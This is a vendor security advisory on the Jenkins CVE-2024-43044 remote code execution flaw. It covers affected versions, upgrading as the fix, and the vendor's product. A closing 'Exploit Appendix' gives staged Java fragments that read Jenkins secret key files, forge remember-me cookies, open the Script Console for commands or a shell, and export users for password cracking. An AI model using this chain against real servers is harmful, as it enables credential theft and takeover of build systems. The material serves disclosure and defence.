A critical remote code execution (RCE) vulnerability, identified as CVE-2024-43044, has been discovered in Jenkins, one of the most widely used automation servers. The vulnerability resides in the ClassLoaderProxy#fetchJar method and could allow attackers to compromise Jenkins environments by exploiting unrestricted file path requests from agents to the Jenkins controller.

Understanding CVE-2024-43044

CVE-2024-43044 is a critical remote code execution (RCE) vulnerability in Jenkins, due to a flaw in the ClassLoaderProxy#fetchJar method within the Remoting/Hudson library used for communication between Jenkins controllers and agents. The vulnerability arises because fetchJar inadequately validates file paths provided by Jenkins agents. An attacker with access to a Jenkins agent can exploit this flaw by crafting a request to the Jenkins controller that includes arbitrary file paths. Specifically, the attacker can manipulate the request to include paths pointing to malicious JAR files, which are not properly sanitized by the fetchJar method.

When the Jenkins controller processes this request, it loads and executes the malicious JAR file, as there are no restrictions on the path or file content. This execution of malicious code occurs with the same privileges as the Jenkins controller process, granting the attacker full control over the Jenkins environment. Exploitation can involve techniques such as uploading a JAR file containing a reverse shell or other malicious payloads, allowing attackers to execute commands on the Jenkins controller. This can lead to unauthorized access to sensitive data, alteration of Jenkins configurations, and significant disruption of operations.

  • Severity: Critical
  • Impact: The vulnerability allows attackers to potentially compromise the Jenkins environment by leveraging agent secrets or interacting with active processes. This can lead to significant security breaches.
  • Affected Versions: All versions of Jenkins prior to 2.471 or 2.452 LTS

Who is Impacted?

Any organization or individual using Jenkins versions before 2.471 or 2.452 LTS is affected by this vulnerability. Specifically, those who utilize the Jenkins controller/agent model for communication between Jenkins controllers and agents are at risk. The vulnerability impacts environments where agents can request unrestricted file paths, potentially leading to remote code execution.

Patches and Remediation Steps

The recommended fix is to upgrade Jenkins to version 2.471 or later. The update addresses the flaw and enhances the overall security of the Jenkins system.

How Upwind Helps Protect Your Environment

Upwind Cloud Security Platform offers several solutions to mitigate CVE-2024-43044:

  1. Locate Vulnerable Packages: Use Upwind’s SBOM explorer to search and identify CVE-2024-43044.
  2. View Resource Impact: Identify all resources affected by CVE-2024-43044, including cloud accounts, clusters, pods, namespaces, VMs, and resources.
  3. Prioritize At-Risk Resources: Assess and prioritize the impact on your environment, focusing on resources with additional risk factors such as internet exposure, database connections, secrets, or sensitive data.
  4. Prioritize Package Upgrades: Generate a list of vulnerable resources that should be prioritized for updates using the recommended fixes.

Get Further Assistance

If you need further assistance with protecting your environment from CVE-2024-43044, you can reach out to an Upwind specialist directly at [email protected].

Exploit Appendix

Stage 1: Class Loader and Reader Initialization

// Initialize class loader and reader
if (this.ccl == null) {
    this.ccl = this.getRemoteClassLoader();
}

// Setup reader and paths
this.reader = new RemoteFileReader(this.ccl);
this.jenkinsBasePath = findJenkinsBasePath();

Copied

Stage 2: Reading User Information

This stage involves reading user information from Jenkins. The user data is fetched and stored for further processing.

// Read and process user information
System.out.println("[*] Reading users...");
Map<Long, UserInfo> orderedUsers = readUsers();

Copied

Stage 3: Defining and Reading File Paths

Paths to sensitive files such as master key, secret key, and MAC file are defined. The corresponding files are then read. The MAC file is crucial for cookie forgery.

// Define file paths
String masterKeyPath = Paths.get(this.jenkinsBasePath, MASTER_KEY).toString();
String secretKeyPath = Paths.get(this.jenkinsBasePath, SECRET_KEY).toString();
String rememberMacPath = Paths.get(this.jenkinsBasePath, REMEMBER_MAC).toString();

// Read and print master key
System.out.println("[*] Reading master.key");
String masterKey = this.reader.readAsString(masterKeyPath);
printChunked(masterKey, 64);

// Read and print secret key
System.out.println("[*] Reading secret.key");
String secret = this.reader.readAsString(secretKeyPath);
System.out.println("    " + secret);

// Read and handle MAC file
System.out.println("[*] Reading ...rememberme.TokenBasedRememberMeServices.mac");
byte[] mac = this.reader.readAsBytes(rememberMacPath);

if (mac.length == 0) {
    System.out.println("    MAC file not found. Triggering creation...");
    forceMacFileCreation(orderedUsers);
    System.out.println("[*] Re-reading ...rememberme.TokenBasedRememberMeServices.mac");
    mac = this.reader.readAsBytes(rememberMacPath);
}
System.out.println("    " + bytesToHex(mac));

Copied

Stage 4: Forging Cookies and Accessing Jenkins Script Console

In this stage, cookies are forged for users and the Jenkins Script Console is accessed using those cookies. Commands or shells are executed as per the user’s input.

// Forging cookies and accessing Jenkins Script Console
System.out.println("[*] Instantiating CookieForger");
CookieForger forger = new CookieForger(this.jenkinsServer, masterKey, secret, mac);

for (Map.Entry<Long, UserInfo> entry : orderedUsers.entrySet()) {
    UserInfo userInfo = entry.getValue();

    System.out.println("[*] Forging remember-me cookie for user '" + userInfo.name + "'");
    String cookie = forger.cookieFor(userInfo);

    // Print user details and cookie
    printUserInfo(userInfo, cookie);

    // Access Jenkins Script Console and run command or shell
    System.out.println("[*] Accessing Jenkins Script Console");
    ScriptConsole console = new ScriptConsole(this.jenkinsServer, cookie);
    boolean success = (this.cmd != null) ? console.runCommand(this.cmd) : console.shell();

    if (success) {
        break;
    }
}

Copied


Stage 5: Exporting Users and Exiting

User information is exported, and if no command is provided, the process exits.

// Export users to JTR and exit if no command is provided
usersToJTR(orderedUsers);
if (this.cmd == null) {
    System.exit(0);
}

Copied